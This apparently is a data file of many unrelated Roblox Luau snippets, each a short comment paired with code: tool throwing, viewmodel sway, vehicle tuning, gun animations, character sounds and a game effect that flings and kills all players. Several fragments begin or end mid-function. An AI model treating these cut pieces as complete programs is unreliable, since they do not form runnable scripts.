TossRemote.OnServerEvent:Connect(function(player, mousePosition)
local holder = getPlayer()
if holder ~= player then return end
if Cooldown.Value == true then return end
Cooldown.Value = true
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
Toss(lookAt)
task.wait(CooldownTime)
setTransparency(Tool.Handle.Details, 0)
Cooldown.Value = false
end)
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
--[[
local message = "Announcement: The RHS servers will be restarting in a few moments for a new update. You'll automatically be teleported to an updated server!"
game:GetService("DataStoreService"):GetDataStore("GlobalMessage"):SetAsync( "Message", message)
--]] | |
--Train state |
throttle = state.Throttle
dir = state.Direction
msp = config.maxSpeed
csp = state.currentSpeed
rsp = state.reqSpeed
brk = state.Brake
bmax = config.Brake |
-- perform the update loop |
if rigtype == "R15" then
-- do the r15 update loop
stepped_con = game:GetService("RunService").RenderStepped:connect(function()
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
-- make arms visible
visiblearms(true)
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.1*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.1*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.05*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.1*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(10/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
if firstperson_waist_movements_enabled then
waistclone.Transform = waist.Transform
end
-- cframe the viewmodel
local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
viewmodel:SetPrimaryPartCFrame(finalcf)
end
end)
elseif rigtype == "R6" then
-- do the R6 update loop
stepped_con = game:GetService("RunService").RenderStepped:connect(function()
swaysize = script.WalkSwayMultiplier.Value
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
-- make arms visible
visiblearms(true)
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.2*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
--
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway == true then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
-- cframe the viewmodel
local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
viewmodel:SetPrimaryPartCFrame(finalcf * script.CFrameAimOffset.Value:Inverse())
end
end)
end
|
-- [[ Variables ]] |
local MAIN = script.Parent
local CastAttachment = require(MAIN.CastLogics.CastAttachment)
local CastVectorPoint = require(MAIN.CastLogics.CastVectorPoint)
local CastLinkAttach = require(MAIN.CastLogics.CastLinkAttachment)
local Signal = require(MAIN.Tools.Signal)
|
-- Made by NoahsRebels
-- Put this script into the figure you've made to make it jump if it's stuck on something. |
while true do
wait(.1)
OldPos = script.Parent.Torso.Position -- Take it's position
wait(1)
if script.Parent.Torso.Position == OldPos then -- If it's standing still, make it jump
script.Parent.Zombie.Jump = true
wait(.2)
script.Parent.Zombie.Jump = false
end
end
|
--2D Camera, about 40 lines long. |
local cam = Instance.new("Part")
cam.Name = "" ..torso.Parent.Name.. "Camera"
cam.CFrame = CFrame.new(torso.Position + Vector3.new(0, 0, 1), torso.Position)
cam.Transparency = 1
cam.CanCollide = false
cam.Parent = game.Workspace
local bp = Instance.new("BodyPosition")
bp.position = cam.Position
bp.maxForce = Vector3.new(10000000000, 10000000000, 10000000000)
bp.Parent = cam
local bg = Instance.new("BodyGyro")
bg.maxTorque = Vector3.new(0, 0, 0)
bg.Parent = cam
local scr = script.LocalScript:clone()
scr.Disabled = false
scr.Parent = torso.Parent
bg.P = (100000)
cam.TopSurface = "Smooth"
cam.BottomSurface = "Smooth"
end
function onPlayerAdded(newPlayer)
newPlayer.Changed:connect(function(property)
if property == "Character" then
onPlayerRespawned(newPlayer)
end
end)
end
game.Players.PlayerAdded:connect(onPlayerAdded)
|
--drills-- |
local yeeld = 30
local driLL1 = script.Parent.Drill1 |
-- Sets the parent of all cached parts. |
function PartCacheStatic:SetCacheParent(newParent: Instance)
assert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format("SetCacheParent", "PartCache.new"))
assert(newParent:IsDescendantOf(workspace) or newParent == workspace, "Cache parent is not a descendant of Workspace! Parts should be kept where they will remain in the visible world.")
self.CurrentCacheParent = newParent
for _, object in self.Open do
object.Parent = newParent
end
for _, object in self.InUse do
object.Parent = newParent
end
end
|
--[[**
ensures value is a number where value <= max
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]] |
function t.numberMax(max)
return function(value)
local success, errMsg = t.number(value)
if not success then
return false, errMsg
end
if value <= max then
return true
else
return false, string.format("number <= %d expected, got %d", max, value)
end
end
end
|
--Hide Accessory |
script.Parent.ChildAdded:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
script.Parent:SetNetworkOwner(player)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Accessory") then
v.Handle.Transparency=1
end
end
end
end
end) |
--[[
Developer note: This script has been modified to fix looping sounds when you ragdoll.
--]] |
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local AtomicBinding = require(script:WaitForChild("AtomicBinding"))
local function loadFlag(flag: string)
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled(flag)
end)
return success and result
end
local FFlagUserAtomicCharacterSoundsUnparent = loadFlag("UserAtomicCharacterSoundsUnparent")
local SOUND_DATA : { [string]: {[string]: any}} = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "rbxasset://sounds/uuhhh.mp3",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
Pitch = 1.85,
},
Splash = {
SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
|
--[[Transmission]] |
Tune.TransModes ={"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.20 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
-- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.38 ,
--[[ 3 ]] 1.72 ,
--[[ 4 ]] 1.34 ,
--[[ 5 ]] 1.11 ,
--[[ 6 ]] .78 ,
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Local Functions
-- Get their stats and update the value |
local function updatePlayerPoints(player, valueToAdd)
local stats = player:WaitForChild("stats")
local points = stats:WaitForChild(GameSettings.pointsName)
local totalPoints = stats:WaitForChild("Total"..GameSettings.pointsName)
points.Value = points.Value + valueToAdd
if valueToAdd > 0 then
totalPoints.Value = totalPoints.Value + valueToAdd
end
DataStore:IncrementPoints(player, valueToAdd)
end
local function makeUpgradePurchase(player)
local stats = player:WaitForChild("stats")
local points = stats:WaitForChild(GameSettings.pointsName)
local upgrades = stats:WaitForChild(GameSettings.upgradeName)
UpgradeManager:BuyUpgrade(player)
end
local function touchCheckpoint(player)
ParticleController.EmitCheckpointParticle(player)
end
local function addPlayerUpgrade(player)
UpgradeManager:AddUpgrade(player)
end
local function changeController(player, defaultController)
if defaultController then
player.DevComputerMovementMode = Enum.DevComputerMovementMode.UserChoice
player.DevTouchMovementMode = Enum.DevTouchMovementMode.UserChoice
else
player.DevComputerMovementMode = Enum.DevComputerMovementMode.Scriptable
player.DevTouchMovementMode = Enum.DevTouchMovementMode.Scriptable
end
end
local function onPlayerEnteredGame(player)
UpgradeManager:SetWalkspeedToCurrentUpgrade(player)
end
|
--[=[
Executes the task as requested.
@param job MaidTask -- Task to execute
]=] |
function MaidTaskUtils.doTask(job)
if type(job) == "function" then
job()
elseif type(job) == "thread" then
local cancelled
if coroutine.running() ~= job then
cancelled = pcall(function()
task.cancel(job)
end)
end
if not cancelled then
task.defer(function()
task.cancel(job)
end)
end
elseif typeof(job) == "RBXScriptConnection" then
job:Disconnect()
elseif type(job) == "table" and type(job.Destroy) == "function" then
job:Destroy()
-- selene: allow(if_same_then_else)
elseif typeof(job) == "Instance" then
job:Destroy()
else
error("Bad job")
end
end
|
----------------------------------
------------VARIABLES-------------
---------------------------------- |
ContentProvider = game:GetService("ContentProvider")
LocalSounds = {
"233836579", --C/C#
"233844049", --D/D#
"233845680", --E/F
"233852841", --F#/G
"233854135", --G#/A
"233856105", --A#/B
}
SoundFolder = Gui.SoundFolder
ExistingSounds = {}
|
--// Animations |
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.4)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
----------------------------------- |
wait(10)
script.Parent.Anchored = false
local bp = Instance.new("BodyPosition")
bp.Position = Vector3.new(
script.Parent.Position.X,
script.Parent.Position.Y+50,
script.Parent.Position.Z
)
bp.MaxForce = Vector3.new(100000000,100000000,100000000)
bp.Parent = script.Parent
script.Parent.effect.Disabled = true
script.Parent.ChargeSphere.Enabled = false
script.Parent.ChargeGlow.Enabled = false
script.Parent.ChargeCircle.Enabled = false
script.Parent.ChargeCircle2.Enabled = false
script.Parent.ring.Enabled = false
script.Parent.Activate2.Enabled = false
script.Parent.zap.Enabled = false
script.Parent.Attachment.Flare.Enabled = false
script.Parent.Rise:Play()
script.Parent.radialneedles3.Disabled = false
wait(.7)
script.Parent.radialneedles3.Disabled = true
wait(0.8)
wait(1)
script.Parent.Attachment.bigglow:Emit(1)
script.Parent.crack:Play()
wait(2)
script.Parent.Attachment.bigglow:Emit(5)
script.Parent.crack2:Play()
wait(1.5)
script.Parent.Attachment.bigglow:Emit(20)
script.Parent.crack3:Play()
wait(0.5)
wait(0)
bp:Destroy()
local bp2 = Instance.new("BodyPosition")
bp2.Position = Vector3.new(
script.Parent.Position.X,
script.Parent.Position.Y+175,
script.Parent.Position.Z
)
bp2.Parent = script.Parent
script.Parent.speedneedles.Disabled = false
script.Parent.holy_explosion:Play()
puff = Instance.new("Part")
puff.CanCollide = false
puff.Anchored = true
puff.Name = "hi lol"
puff.Transparency = 0.2
puff.BrickColor = BrickColor.new("Lily white")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(3,3,3)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.FadeEx:clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
wait(0.7)
local exp = Instance.new("Explosion")
exp.Position = script.Parent.Position
exp.BlastPressure = 10000
exp.BlastRadius = 70
exp.Visible = false
exp.Parent = workspace
script.Parent.holy_explosion:Stop()
script.Parent.speedneedles.Disabled = true
script.Parent.radialneedles2.Disabled = false
script.Parent.Anchored = true
script.Parent.Transparency = 1
script.Parent.CanCollide = false
script.Parent.radialneedles.Disabled = false
script.Parent.effect2.Disabled = false
script.Parent.FarBlam:Play()
script.Parent.heavencrash:Play()
script.Parent.build_up:Play()
puff = Instance.new("Part")
puff.CanCollide = false
puff.Anchored = true
puff.Name = "hi lol"
puff.Transparency = 0
puff.BrickColor = BrickColor.new("Daisy orange")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(100,100,100)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.tweener4:clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
script.Parent.light.Disabled = false
script.Parent.BlamEffect:Emit(1000)
print("Phase 2 - White hole")
plyrs = game.Players:GetChildren()
for i = 1,#plyrs do
local rp = Instance.new("RocketPropulsion")
plyrs[i].Character.Humanoid.PlatformStand = true
rp.MaxSpeed = 0
rp.Parent = plyrs[i].Character.HumanoidRootPart
rp.MaxThrust = 10000
rp.Target = script.Parent
rp.TargetRadius = 30
rp.ThrustP = 1000
rp.ThrustD = 20000
rp.TargetOffset = Vector3.new(50,340,50)
rp:Fire()
local nomnomnom = script.yeeeeeeeeet:Clone()
nomnomnom.Parent = rp
nomnomnom.Disabled = false
wait(0.1)
plyrs[i].Character.HumanoidRootPart.Velocity = Vector3.new(
(math.random(-250,250)),
(math.random(100,250)),
(math.random(-250,250))
)
end
wait(10)
script.Parent.Attachment.Flare:Emit(70)
script.Parent.Attachment.Star.Enabled = true
script.Parent.effect2.Disabled = true
script.Parent.radialneedles2.Disabled = true
script.Parent.Anchored = false
bp2:Destroy()
local bp3 = Instance.new("BodyPosition")
bp3.Position = Vector3.new(
script.Parent.Position.X,
script.Parent.Position.Y+20,
script.Parent.Position.Z
)
bp3.Parent = script.Parent
wait(2)
print("Phase 3 - TOTAL DESTRUCTION")
plyrs = game.Players:GetChildren()
for i = 1,#plyrs do
plyrs[i].Character.Humanoid.Health = 0
end
local whitescreenat3am = script.tweener5:Clone()
whitescreenat3am.Parent = game.Workspace
whitescreenat3am.Disabled = false
script.Parent.light2.Disabled = false
local EXPLOSION_SPREAD = 400 |
--Main function |
local function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)
local AnimObj
local function Start()
AnimObj = {}
AnimObj["MainPart"] = EFFECT_LIB.NewInvisiblePart()
AnimObj["Emitter"] = script.Fire:clone()
AnimObj["Emitter"].Parent = AnimObj["MainPart"]
AnimObj["MainPart"].Parent = eff_cont
end
local function Update()
local loop = EFFECT_LIB.Loop(1)
AnimObj["MainPart"].CFrame = source_part.CFrame * CFrame.Angles(0, math.rad(loop * 360), 0) * CFrame.new(0, 0, -3)
local get_col = GenColor(tick(), 5)
AnimObj["Emitter"].Color = get_col
end
local function Stop()
eff_cont:ClearAllChildren()
AnimObj = nil
end
return {Start = Start, Update = Update, Stop = Stop}
end
return AttachAuraControl
|
--- Shallow merges two tables without modifying either
-- @tparam table orig original table
-- @tparam table new new table
-- @treturn table |
function Table.merge(orig, new)
local _table = {}
for key, val in pairs(orig) do
_table[key] = val
end
for key, val in pairs(new) do
_table[key] = val
end
return _table
end
|
--wait(20)
---workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-500,-7,-500), Vector3int16.new(500,-2,500)),Enum.CellMaterial.Water,0,0) | |
--------------------------------------------------------------- |
function onChildAdded(child)
if child.Name == "SeatWeld" then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human IN")
seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car"
seat.Parent.Name = human.Parent.Name.."'s Car"
s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
seat.Start:Play()
wait(1)
seat.Start:Stop()
seat.Engine:Play()
end
end
end
function onChildRemoved(child)
if (child.Name == "SeatWeld") then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human OUT")
